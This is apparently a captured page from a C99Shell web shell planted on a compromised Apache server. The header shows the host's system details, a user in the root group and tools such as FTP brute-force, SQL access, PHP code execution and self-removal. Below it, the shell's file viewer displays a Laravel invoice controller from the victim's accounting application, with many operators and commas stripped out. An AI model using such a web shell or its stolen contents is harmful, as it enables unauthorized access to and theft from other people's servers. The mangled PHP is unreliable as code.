!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InvoiceController.php (50.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Exports\InvoiceExport;
use 
App\Models\BankAccount;
use 
App\Models\CreditNote;
use 
App\Models\Customer;
use 
App\Models\CustomField;
use 
App\Models\Invoice;
use 
App\Models\InvoiceBankTransfer;
use 
App\Models\InvoicePayment;
use 
App\Models\InvoiceProduct;
use 
App\Models\Plan;
use 
App\Models\ProductService;
use 
App\Models\ProductServiceCategory;
use 
App\Models\StockReport;
use 
App\Models\Transaction;
use 
App\Models\User;
use 
App\Models\Utility;
use 
App\Models\TransactionLines;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Crypt;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Mail;
use 
Illuminate\Support\Facades\Storage;
use 
Maatwebsite\Excel\Facades\Excel;

class 
InvoiceController extends Controller
{
    public function 
__construct()
    {
    }

    public function 
index(Request $request)
    {
        if (
\Auth::user()->can('manage invoice')) {
            
$customer Customer::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$customer->prepend('Select Customer''');
            
$status Invoice::$statues;
            
$query Invoice::where('created_by''='\Auth::user()->creatorId());

            if (!empty(
$request->customer)) {
                
$query->where('customer_id''='$request->customer);
            }
            if (
count(explode('to'$request->issue_date)) > 1) {
                
$date_range explode(' to '$request->issue_date);
                
$query->whereBetween('issue_date'$date_range);
            } elseif (!empty(
$request->issue_date)) {
                
$date_range = [$request->issue_date$request->issue_date];
                
$query->whereBetween('issue_date'$date_range);
            }
            if (!empty(
$request->status)) {
                
$query->where('status''='$request->status);
            }
            
$invoices $query->get();

            return 
view('invoice.index'compact('invoices''customer''status'));
        } else {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
create($customerId)
    {
        if (
\Auth::user()->can('create invoice')) {
            
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''invoice')->get();
            
$invoice_number \Auth::user()->invoiceNumberFormat($this->invoiceNumber());
            
$customers Customer::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$customers->prepend('Select Customer''');
            
$category ProductServiceCategory::where('created_by'\Auth::user()->creatorId())->where('type''income')->get()->pluck('name''id');
            
$category->prepend('Select Category''');
            
$product_services ProductService::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$product_services->prepend('--''');

            return 
view('invoice.create'compact('customers''invoice_number''product_services''category''customFields''customerId'));
        } else {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
customer(Request $request)
    {
        
$customer Customer::where('id''='$request->id)->first();
        return 
view('invoice.customer_detail'compact('customer'));
    }

    public function 
product(Request $request)
    {
        
$data['product'] = $product ProductService::find($request->product_id);
        
$data['unit'] = (!empty($product->unit)) ? $product->unit->name '';
        
$data['taxRate'] = $taxRate = !empty($product->tax_id) ? $product->taxRate($product->tax_id) : 0;
        
$data['taxes'] = !empty($product->tax_id) ? $product->tax($product->tax_id) : 0;
        
$salePrice $product->sale_price;
        
$quantity 1;
        
$taxPrice = ($taxRate 100) * ($salePrice $quantity);
        
$data['totalAmount'] = ($salePrice $quantity);
        
        return 
json_encode($data);
    }

    public function 
store(Request $request)
    {
//        dd($request->all());
        
if (\Auth::user()->can('create invoice')) {
            
$validator \Validator::make(
                
$request->all(), [
                    
'customer_id' => 'required',
                    
'issue_date' => 'required',
                    
'due_date' => 'required',
                    
'category_id' => 'required',
                    
'items' => 'required',
                ]
            );
            if (
$validator->fails()) {
                
$messages $validator->getMessageBag();
                return 
redirect()->back()->with('error'$messages->first());
            }
            
$status Invoice::$statues;
            
$invoice = new Invoice();
            
$invoice->invoice_id $this->invoiceNumber();
            
$invoice->customer_id $request->customer_id;
            
$invoice->status 0;
            
$invoice->issue_date $request->issue_date;
            
$invoice->due_date $request->due_date;
            
$invoice->category_id $request->category_id;
            
$invoice->ref_number $request->ref_number;
//            $invoice->discount_apply = isset($request->discount_apply) ? 1 : 0;
            
$invoice->created_by \Auth::user()->creatorId();
            
$invoice->save();
            
CustomField::saveData($invoice$request->customField);
            
$products $request->items;

            for (
$i 0$i count($products); $i++) {

                
$invoiceProduct = new InvoiceProduct();
                
$invoiceProduct->invoice_id $invoice->id;
                
$invoiceProduct->product_id $products[$i]['item'];
                
$invoiceProduct->quantity $products[$i]['quantity'];
                
$invoiceProduct->tax $products[$i]['tax'];
//                $invoiceProduct->discount    = isset($products[$i]['discount']) ? $products[$i]['discount'] : 0;
                
$invoiceProduct->discount $products[$i]['discount'];
                
$invoiceProduct->price $products[$i]['price'];
                
$invoiceProduct->description $products[$i]['description'];
                
$invoiceProduct->save();

                
//inventory management (Quantity)
                
Utility::total_quantity('minus'$invoiceProduct->quantity$invoiceProduct->product_id);

                
//For Notification
                
$setting Utility::settings(\Auth::user()->creatorId());
                
$customer Customer::find($request->customer_id);
                
$invoiceNotificationArr = [
                    
'invoice_number' => \Auth::user()->invoiceNumberFormat($invoice->invoice_id),
                    
'user_name' => \Auth::user()->name,
                    
'invoice_issue_date' => $invoice->issue_date,
                    
'invoice_due_date' => $invoice->due_date,
                    
'customer_name' => $customer->name,
                ];
                
//Slack Notification
                
if (isset($setting['invoice_notification']) && $setting['invoice_notification'] == 1) {
                    
Utility::send_slack_msg('new_invoice'$invoiceNotificationArr);
                }
                
//Telegram Notification
                
if (isset($setting['telegram_invoice_notification']) && $setting['telegram_invoice_notification'] == 1) {
                    
Utility::send_telegram_msg('new_invoice'$invoiceNotificationArr);
                }
                
//Twilio Notification
                
if (isset($setting['twilio_invoice_notification']) && $setting['twilio_invoice_notification'] == 1) {
                    
Utility::send_twilio_msg($customer->contact'new_invoice'$invoiceNotificationArr);
                }

            }

            
//Product Stock Report
            
$type 'invoice';
            
$type_id $invoice->id;
            
StockReport::where('type''=''invoice')->where('type_id''='$invoice->id)->delete();
            
$description $invoiceProduct->quantity '  ' __(' quantity sold in invoice') . ' ' \Auth::user()->invoiceNumberFormat($invoice->invoice_id);
            
Utility::addProductStock($invoiceProduct->product_id$invoiceProduct->quantity$type$description$type_id);

            
//webhook
            
$module 'New Invoice';
            
$webhook Utility::webhookSetting($module);
            if (
$webhook) {
                
$parameter json_encode($invoice);
                
$status Utility::WebhookCall($webhook['url'], $parameter$webhook['method']);
                if (
$status == true) {
                    return 
redirect()->route('invoice.index'$invoice->id)->with('success'__('Invoice successfully created.'));
                } else {
                    return 
redirect()->back()->with('error'__('Webhook call failed.'));
                }
            }

            return 
redirect()->route('invoice.index'$invoice->id)->with('success'__('Invoice successfully created.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
edit($ids)
    {
        if (
\Auth::user()->can('edit invoice')) {
            
$id Crypt::decrypt($ids);
            
$invoice Invoice::find($id);
            
$invoice_number \Auth::user()->invoiceNumberFormat($invoice->invoice_id);
            
$customers Customer::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$category ProductServiceCategory::where('created_by'\Auth::user()->creatorId())->where('type''income')->get()->pluck('name''id');
            
$category->prepend('Select Category''');
            
$product_services ProductService::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$invoice->customField CustomField::getData($invoice'invoice');
            
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''invoice')->get();

            return 
view('invoice.edit'compact('customers''product_services''invoice''invoice_number''category''customFields'));
        } else {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
update(Request $requestInvoice $invoice)
    {

        if (
\Auth::user()->can('edit invoice')) {
            if (
$invoice->created_by == \Auth::user()->creatorId()) {
                
$validator \Validator::make(
                    
$request->all(),
                    [
                        
'customer_id' => 'required',
                        
'issue_date' => 'required',
                        
'due_date' => 'required',
                        
'category_id' => 'required',
                        
'items' => 'required',
                    ]
                );
                if (
$validator->fails()) {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->route('invoice.index')->with('error'$messages->first());
                }
                
$invoice->customer_id $request->customer_id;
                
$invoice->issue_date $request->issue_date;
                
$invoice->due_date $request->due_date;
                
$invoice->ref_number $request->ref_number;
//                $invoice->discount_apply = isset($request->discount_apply) ? 1 : 0;
                
$invoice->category_id $request->category_id;
                
$invoice->save();

                
Utility::starting_number($invoice->invoice_id 1'invoice');
                
CustomField::saveData($invoice$request->customField);
                
$products $request->items;

                for (
$i 0$i count($products); $i++) {
                    
$invoiceProduct InvoiceProduct::find($products[$i]['id']);

                    if (
$invoiceProduct == null) {
                        
$invoiceProduct = new InvoiceProduct();
                        
$invoiceProduct->invoice_id $invoice->id;

                        
Utility::total_quantity('minus'$products[$i]['quantity'], $products[$i]['item']);

                        
$updatePrice = ($products[$i]['price'] * $products[$i]['quantity']) + ($products[$i]['itemTaxPrice']) - ($products[$i]['discount']);
                        
Utility::updateUserBalance('customer'$request->customer_id$updatePrice'credit');
                    } else {
                        
Utility::total_quantity('plus'$invoiceProduct->quantity$invoiceProduct->product_id);

                    }

                    if (isset(
$products[$i]['item'])) {
                        
$invoiceProduct->product_id $products[$i]['item'];
                    }

                    
$invoiceProduct->quantity $products[$i]['quantity'];
                    
$invoiceProduct->tax $products[$i]['tax'];
                    
$invoiceProduct->discount $products[$i]['discount'];
                    
$invoiceProduct->price $products[$i]['price'];
                    
$invoiceProduct->description $products[$i]['description'];
                    
$invoiceProduct->save();
                    
                    if (
$products[$i]['id'] > 0) {
                        
Utility::total_quantity('minus'$products[$i]['quantity'], $invoiceProduct->product_id);
                    }

                    
//Product Stock Report
                    
$type 'invoice';
                    
$type_id $invoice->id;
                    
StockReport::where('type''=''invoice')->where('type_id''='$invoice->id)->delete();
                    
$description $products[$i]['quantity'] . '  ' __(' quantity sold in invoice') . ' ' \Auth::user()->invoiceNumberFormat($invoice->invoice_id);
                    if (empty(
$products[$i]['id'])) {
                        
Utility::addProductStock($products[$i]['item'], $products[$i]['quantity'], $type$description$type_id);
                    }

                }

                
TransactionLines::where('reference_id',$invoice->id)->where('reference','Invoice')->delete();

                
$invoice_products InvoiceProduct::where('invoice_id'$invoice->id)->get();
                foreach (
$invoice_products as $invoice_product) {
                    
$product ProductService::find($invoice_product->product_id);
                    
$totalTaxPrice 0;
                    if(
$invoice_product->tax != null){
                        
$taxes \App\Models\Utility::tax($invoice_product->tax);
                        foreach (
$taxes as $tax) {
                            
$taxPrice \App\Models\Utility::taxRate($tax->rate$invoice_product->price$invoice_product->quantity$invoice_product->discount);
                            
$totalTaxPrice += $taxPrice;
                        }
                    }

                    
$itemAmount = ($invoice_product->price $invoice_product->quantity) - ($invoice_product->discount) + $totalTaxPrice;

                    
$data = [
                        
'account_id' => $product->sale_chartaccount_id,
                        
'transaction_type' => 'Credit',
                        
'transaction_amount' => $itemAmount,
                        
'reference' => 'Invoice',
                        
'reference_id' => $invoice->id,
                        
'reference_sub_id' => $product->id,
                        
'date' => $invoice->issue_date,
                    ];
                    
Utility::addTransactionLines($data);
                }

                return 
redirect()->route('invoice.index')->with('success'__('Invoice successfully updated.'));
            } else {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
invoiceNumber()
    {
        
$latest Invoice::where('created_by''='\Auth::user()->creatorId())->latest()->first();
        if (!
$latest) {
            return 
1;
        }

        return 
$latest->invoice_id 1;
    }

    public function 
show($ids)
    {

        if (
\Auth::user()->can('show invoice')) {
            try {
                
$id Crypt::decrypt($ids);
            } catch (
\Throwable $th) {
                return 
redirect()->back()->with('error'__('Invoice Not Found.'));
            }
            
$id Crypt::decrypt($ids);
            
$invoice Invoice::with(['creditNote','payments.bankAccount','items.product.unit'])->find($id);

            if (!empty(
$invoice->created_by) == \Auth::user()->creatorId()) {
                
$invoicePayment InvoicePayment::where('invoice_id'$invoice->id)->first();

                
$customer $invoice->customer;
                
$iteams $invoice->items;
                
$user \Auth::user();

                
// start for storage limit note
                
$invoice_user User::find($invoice->created_by);
                
$user_plan Plan::getPlan($invoice_user->plan);
                
// end for storage limit note

                
$invoice->customField CustomField::getData($invoice'invoice');
                
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''invoice')->get();

                
$creditnote CreditNote::where('invoice',$invoice->id)->first();

                return 
view('invoice.view'compact('invoice''customer''iteams''invoicePayment''customFields''user''invoice_user''user_plan' 'creditnote'));
            } else {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
destroy(Invoice $invoiceRequest $request)
    {
        if (
\Auth::user()->can('delete invoice')) {
            if (
$invoice->created_by == \Auth::user()->creatorId()) {
                foreach (
$invoice->payments as $invoices) {
                    
Utility::bankAccountBalance($invoices->account_id$invoices->amount'debit');

                    
$invoicepayment InvoicePayment::find($invoices->id);
                    
$invoices->delete();
                    
$invoicepayment->delete();

                }

                if (
$invoice->customer_id != && $invoice->status != 0) {
                    
Utility::updateUserBalance('customer'$invoice->customer_id$invoice->getDue(), 'debit');
                }


                
TransactionLines::where('reference_id',$invoice->id)->where('reference','Invoice')->delete();
                
TransactionLines::where('reference_id',$invoice->id)->Where('reference','Invoice Payment')->delete();

                
CreditNote::where('invoice''='$invoice->id)->delete();

                
InvoiceProduct::where('invoice_id''='$invoice->id)->delete();
                
$invoice->delete();
                return 
redirect()->route('invoice.index')->with('success'__('Invoice successfully deleted.'));
            } else {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
productDestroy(Request $request)
    {
        
        if (
\Auth::user()->can('delete invoice product')) {
            
$invoiceProduct InvoiceProduct::find($request->id);
            
            if(
$invoiceProduct)
            {
                
$invoice Invoice::find($invoiceProduct->invoice_id);
                
$productService ProductService::find($invoiceProduct->product_id);
    
                
Utility::updateUserBalance('customer'$invoice->customer_id$request->amount'debit');
    
                
TransactionLines::where('reference_sub_id',$productService->id)->where('reference','Invoice')->delete();
            
                
InvoiceProduct::where('id''='$request->id)->delete();
            }


            return 
redirect()->back()->with('success'__('Invoice product successfully deleted.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
customerInvoice(Request $request)
    {
        if (
\Auth::user()->can('manage customer invoice')) {

            
$status Invoice::$statues;
            
$query Invoice::where('customer_id''='\Auth::user()->id)->where('status''!=''0')->where('created_by'\Auth::user()->creatorId());

            if (!empty(
$request->issue_date)) {
                
$date_range explode(' - '$request->issue_date);
                
$query->whereBetween('issue_date'$date_range);
            }

            if (!empty(
$request->status)) {
                
$query->where('status''='$request->status);
            }
            
$invoices $query->get();

            return 
view('invoice.index'compact('invoices''status'));
        } else {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
customerInvoiceShow($id)
    {

        
$invoice Invoice::with('payments.bankAccount')->find($id);

        
$user User::where('id'$invoice->created_by)->first();
        if (
$invoice->created_by == $user->creatorId()) {
            
$customer $invoice->customer;
            
$iteams $invoice->items;

            if (
$user->type == 'super admin') {
                return 
view('invoice.view'compact('invoice''customer''iteams''user'));
            } elseif (
$user->type == 'company') {
                return 
view('invoice.customer_invoice'compact('invoice''customer''iteams''user'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
sent($id)
    {

        if (
\Auth::user()->can('send invoice')) {
            
// Send Email
            
$setings Utility::settings();

            if (
$setings['customer_invoice_sent'] == 1) {
                
$invoice Invoice::where('id'$id)->first();
                
$invoice->send_date date('Y-m-d');
                
$invoice->status 1;
                
$invoice->save();

                
$customer Customer::where('id'$invoice->customer_id)->first();
                
$invoice->name = !empty($customer) ? $customer->name '';
                
$invoice->invoice \Auth::user()->invoiceNumberFormat($invoice->invoice_id);

                
$invoiceId Crypt::encrypt($invoice->id);
                
$invoice->url route('invoice.pdf'$invoiceId);

                
Utility::updateUserBalance('customer'$customer->id$invoice->getTotal(), 'credit');

                
$invoice_products InvoiceProduct::where('invoice_id'$invoice->id)->get();
                foreach (
$invoice_products as $invoice_product) {
                    
$product ProductService::find($invoice_product->product_id);
                    
$totalTaxPrice 0;
                    if(
$invoice_product->tax != null)
                    {
                        
$taxes \App\Models\Utility::tax($invoice_product->tax);
                        foreach (
$taxes as $tax) {
                            
$taxPrice \App\Models\Utility::taxRate($tax->rate$invoice_product->price$invoice_product->quantity$invoice_product->discount);
                            
$totalTaxPrice += $taxPrice;
                        }
                    }

                    
$itemAmount = ($invoice_product->price $invoice_product->quantity) - ($invoice_product->discount) + $totalTaxPrice;

                    
$data = [
                        
'account_id' => $product->sale_chartaccount_id,
                        
'transaction_type' => 'Credit',
                        
'transaction_amount' => $itemAmount,
                        
'reference' => 'Invoice',
                        
'reference_id' => $invoice->id,
                        
'reference_sub_id' => $product->id,
                        
'date' => $invoice->issue_date,
                    ];
                    
Utility::addTransactionLines($data);
                }

                
$customerArr = [

                    
'customer_name' => $customer->name,
                    
'customer_email' => $customer->email,
                    
'invoice_name' => $customer->name,
                    
'invoice_number' => $invoice->invoice,
                    
'invoice_url' => $invoice->url,

                ];
                
$resp Utility::sendEmailTemplate('customer_invoice_sent', [$customer->id => $customer->email], $customerArr);

                return 
redirect()->back()->with('success'__('Invoice successfully sent.') . (($resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));

            }

        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
resent($id)
    {
        if (
\Auth::user()->can('send invoice')) {
            
$invoice Invoice::where('id'$id)->first();

            
$customer Customer::where('id'$invoice->customer_id)->first();
            
$invoice->name = !empty($customer) ? $customer->name '';
            
$invoice->invoice \Auth::user()->invoiceNumberFormat($invoice->invoice_id);

            
$invoiceId Crypt::encrypt($invoice->id);
            
$invoice->url route('invoice.pdf'$invoiceId);
            
$customerArr = [

                
'customer_name' => $customer->name,
                
'customer_email' => $customer->email,
                
'invoice_name' => $customer->name,
                
'invoice_number' => $invoice->invoice,
                
'invoice_url' => $invoice->url,

            ];
            
$resp Utility::sendEmailTemplate('customer_invoice_sent', [$customer->id => $customer->email], $customerArr);

            return 
redirect()->back()->with('success'__('Invoice successfully sent.') . (($resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));

        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
payment($invoice_id)
    {
        if (
\Auth::user()->can('create payment invoice')) {
            
$invoice Invoice::where('id'$invoice_id)->first();

            
$customers Customer::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$categories ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$accounts BankAccount::select('*'\DB::raw("CONCAT(bank_name,' ',holder_name) AS name"))->where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');

            return 
view('invoice.payment'compact('customers''categories''accounts''invoice'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
createPayment(Request $request$invoice_id)
    {
        
$invoice Invoice::find($invoice_id);
        if (
$invoice->getDue() < $request->amount) {
            return 
redirect()->back()->with('error'__('Invoice payment amount should not greater than subtotal.'));
        }

        if (
\Auth::user()->can('create payment invoice')) {
            
$validator \Validator::make(
                
$request->all(), [
                    
'date' => 'required',
                    
'amount' => 'required',
                    
'account_id' => 'required',
                ]
            );
            if (
$validator->fails()) {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$invoicePayment = new InvoicePayment();
            
$invoicePayment->invoice_id $invoice_id;
            
$invoicePayment->date $request->date;
            
$invoicePayment->amount $request->amount;
            
$invoicePayment->account_id $request->account_id;
            
$invoicePayment->payment_method 0;
            
$invoicePayment->reference $request->reference;
            
$invoicePayment->description $request->description;
            if (!empty(
$request->add_receipt)) {
                
//storage limit
                
$image_size $request->file('add_receipt')->getSize();
                
$result Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size);
                if (
$result == 1) {
                    
$fileName time() . "_" $request->add_receipt->getClientOriginalName();
                    
$request->add_receipt->storeAs('uploads/payment'$fileName);
                    
$invoicePayment->add_receipt $fileName;
                }

            }

            
$invoicePayment->save();

            
$invoice Invoice::where('id'$invoice_id)->first();
            
$due $invoice->getDue();
            
$total $invoice->getTotal();
            if (
$invoice->status == 0) {
                
$invoice->send_date date('Y-m-d');
                
$invoice->save();
            }

            if (
$due <= 0) {
                
$invoice->status 4;
                
$invoice->save();
            } else {
                
$invoice->status 3;
                
$invoice->save();
            }
            
$invoicePayment->user_id $invoice->customer_id;
            
$invoicePayment->user_type 'Customer';
            
$invoicePayment->type 'Partial';
            
$invoicePayment->created_by \Auth::user()->id;
            
$invoicePayment->payment_id $invoicePayment->id;
            
$invoicePayment->category 'Invoice';
            
$invoicePayment->account $request->account_id;

            
Transaction::addTransaction($invoicePayment);
            
$customer Customer::where('id'$invoice->customer_id)->first();

            
$payment = new InvoicePayment();
            
$payment->name $customer['name'];
            
$payment->date \Auth::user()->dateFormat($request->date);
            
$payment->amount \Auth::user()->priceFormat($request->amount);
            
$payment->invoice 'invoice ' \Auth::user()->invoiceNumberFormat($invoice->invoice_id);
            
$payment->dueAmount \Auth::user()->priceFormat($invoice->getDue());

            
Utility::updateUserBalance('customer'$invoice->customer_id$request->amount'debit');

            
Utility::bankAccountBalance($request->account_id$request->amount'credit');

            
$invoicePayments InvoicePayment::where('invoice_id'$invoice->id)->get();
            foreach (
$invoicePayments as $invoicePayment) {

                
$accountId BankAccount::find($invoicePayment->account_id);
                
$data = [
                    
'account_id' => $accountId->chart_account_id,
                    
'transaction_type' => 'Debit',
                    
'transaction_amount' => $invoicePayment->amount,
                    
'reference' => 'Invoice Payment',
                    
'reference_id' => $invoice->id,
                    
'reference_sub_id' => $invoicePayment->id,
                    
'date' => $invoicePayment->date,
                ];
                
Utility::addTransactionLines($data);
            }

            
// Send Email
            
$setings Utility::settings();
            if (
$setings['new_invoice_payment'] == 1) {
                
$customer Customer::where('id'$invoice->customer_id)->first();
                
$invoicePaymentArr = [
                    
'invoice_payment_name' => $customer->name,
                    
'invoice_payment_amount' => $payment->amount,
                    
'invoice_payment_date' => $payment->date,
                    
'payment_dueAmount' => $payment->dueAmount,

                ];

                
$resp Utility::sendEmailTemplate('new_invoice_payment', [$customer->id => $customer->email], $invoicePaymentArr);
            }

            
//webhook
            
$module 'New Invoice Payment';
            
$webhook Utility::webhookSetting($module);
            if (
$webhook) {
                
$parameter json_encode($invoice);
                
$status Utility::WebhookCall($webhook['url'], $parameter$webhook['method']);
                if (
$status == true) {
                    return 
redirect()->back()->with('success'__('Payment successfully added.') . ((isset($result) && $result != 1) ? '<br> <span class="text-danger">' $result '</span>' '') . (($resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));

                } else {
                    return 
redirect()->back()->with('error'__('Webhook call failed.'));
                }
            }
            return 
redirect()->back()->with('success'__('Payment successfully added.') . ((isset($result) && $result != 1) ? '<br> <span class="text-danger">' $result '</span>' '') . (($resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));

        }

    }

    public function 
paymentDestroy(Request $request$invoice_id$payment_id)
    {
//        dd($invoice_id,$payment_id);

        
if (\Auth::user()->can('delete payment invoice')) {
            
$payment InvoicePayment::find($payment_id);

            
InvoicePayment::where('id''='$payment_id)->delete();

            
InvoiceBankTransfer::where('id''='$payment_id)->delete();

            
TransactionLines::where('reference_sub_id',$payment_id)->where('reference','Invoice Payment')->delete();        

            
$invoice Invoice::where('id'$invoice_id)->first();
            
$due $invoice->getDue();
            
$total $invoice->getTotal();

            if (
$due && $total != $due) {
                
$invoice->status 3;

            } else {
                
$invoice->status 2;
            }

            if (!empty(
$payment->add_receipt)) {
                
//storage limit
                
$file_path '/uploads/payment/' $payment->add_receipt;
                
$result Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path);

            }

            
$invoice->save();
            
$type 'Partial';
            
$user 'Customer';
            
Transaction::destroyTransaction($payment_id$type$user);

            
Utility::updateUserBalance('customer'$invoice->customer_id$payment->amount'credit');

            
Utility::bankAccountBalance($payment->account_id$payment->amount'debit');

            return 
redirect()->back()->with('success'__('Payment successfully deleted.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
paymentReminder($invoice_id)
    {

//        dd($invoice_id);
        
$invoice Invoice::find($invoice_id);
        
$customer Customer::where('id'$invoice->customer_id)->first();
        
$invoice->dueAmount \Auth::user()->priceFormat($invoice->getDue());
        
$invoice->name $customer['name'];
        
$invoice->date \Auth::user()->dateFormat($invoice->send_date);
        
$invoice->invoice \Auth::user()->invoiceNumberFormat($invoice->invoice_id);

        
//For Notification
        
$setting Utility::settings(\Auth::user()->creatorId());
        
$customer Customer::find($invoice->customer_id);
        
$reminderNotificationArr = [
            
'invoice_number' => \Auth::user()->invoiceNumberFormat($invoice->invoice_id),
            
'customer_name' => $customer->name,
            
'user_name' => \Auth::user()->name,
        ];

        
//Twilio Notification
        
if (isset($setting['twilio_reminder_notification']) && $setting['twilio_reminder_notification'] == 1) {
            
Utility::send_twilio_msg($customer->contact'invoice_payment_reminder'$reminderNotificationArr);
        }

        
// Send Email
        
$setings Utility::settings();
        if (
$setings['new_payment_reminder'] == 1) {
            
$invoice Invoice::find($invoice_id);
            
$customer Customer::where('id'$invoice->customer_id)->first();
            
$invoice->dueAmount \Auth::user()->priceFormat($invoice->getDue());
            
$invoice->name $customer['name'];
            
$invoice->date \Auth::user()->dateFormat($invoice->send_date);
            
$invoice->invoice \Auth::user()->invoiceNumberFormat($invoice->invoice_id);

            
$reminderArr = [

                
'payment_reminder_name' => $invoice->name,
                
'invoice_payment_number' => $invoice->invoice,
                
'invoice_payment_dueAmount' => $invoice->dueAmount,
                
'payment_reminder_date' => $invoice->date,

            ];

            
$resp Utility::sendEmailTemplate('new_payment_reminder', [$customer->id => $customer->email], $reminderArr);

        }

        return 
redirect()->back()->with('success'__('Payment reminder successfully send.') . (($resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));
    }

    public function 
customerInvoiceSend($invoice_id)
    {
        return 
view('customer.invoice_send'compact('invoice_id'));
    }

    public function 
customerInvoiceSendMail(Request $request$invoice_id)
    {
        
$validator \Validator::make(
            
$request->all(), [
                
'email' => 'required|email',
            ]
        );
        if (
$validator->fails()) {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }

        
$email $request->email;
        
$invoice Invoice::where('id'$invoice_id)->first();

        
$customer Customer::where('id'$invoice->customer_id)->first();
        
$invoice->name = !empty($customer) ? $customer->name '';
        
$invoice->invoice \Auth::user()->invoiceNumberFormat($invoice->invoice_id);

        
$invoiceId Crypt::encrypt($invoice->id);
        
$invoice->url route('invoice.pdf'$invoiceId);

        try
        {
            
Mail::to($email)->send(new CustomerInvoiceSend($invoice));
        } catch (
\Exception $e) {
            
$smtp_error __('E-Mail has been not sent due to SMTP configuration');
        }

        return 
redirect()->back()->with('success'__('Invoice successfully sent.') . ((isset($smtp_error)) ? '<br> <span class="text-danger">' $smtp_error '</span>' ''));

    }

    public function 
shippingDisplay(Request $request$id)
    {
        
$invoice Invoice::find($id);

        if (
$request->is_display == 'true') {
            
$invoice->shipping_display 1;
        } else {
            
$invoice->shipping_display 0;
        }
        
$invoice->save();

        return 
redirect()->back()->with('success'__('Shipping address status successfully changed.'));
    }

    public function 
duplicate($invoice_id)
    {
        if (
\Auth::user()->can('duplicate invoice')) {
            
$invoice Invoice::where('id'$invoice_id)->first();
            
$duplicateInvoice = new Invoice();
            
$duplicateInvoice->invoice_id $this->invoiceNumber();
            
$duplicateInvoice->customer_id $invoice['customer_id'];
            
$duplicateInvoice->issue_date date('Y-m-d');
            
$duplicateInvoice->due_date $invoice['due_date'];
            
$duplicateInvoice->send_date null;
            
$duplicateInvoice->category_id $invoice['category_id'];
            
$duplicateInvoice->ref_number $invoice['ref_number'];
            
$duplicateInvoice->status 0;
            
$duplicateInvoice->shipping_display $invoice['shipping_display'];
            
$duplicateInvoice->created_by $invoice['created_by'];
            
$duplicateInvoice->save();

            if (
$duplicateInvoice) {
                
$invoiceProduct InvoiceProduct::where('invoice_id'$invoice_id)->get();
                foreach (
$invoiceProduct as $product) {
                    
$duplicateProduct = new InvoiceProduct();
                    
$duplicateProduct->invoice_id $duplicateInvoice->id;
                    
$duplicateProduct->product_id $product->product_id;
                    
$duplicateProduct->quantity $product->quantity;
                    
$duplicateProduct->tax $product->tax;
                    
$duplicateProduct->discount $product->discount;
                    
$duplicateProduct->price $product->price;
                    
$duplicateProduct->save();
                }
            }

            return 
redirect()->back()->with('success'__('Invoice duplicate successfully.'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
previewInvoice($template$color)
    {

        
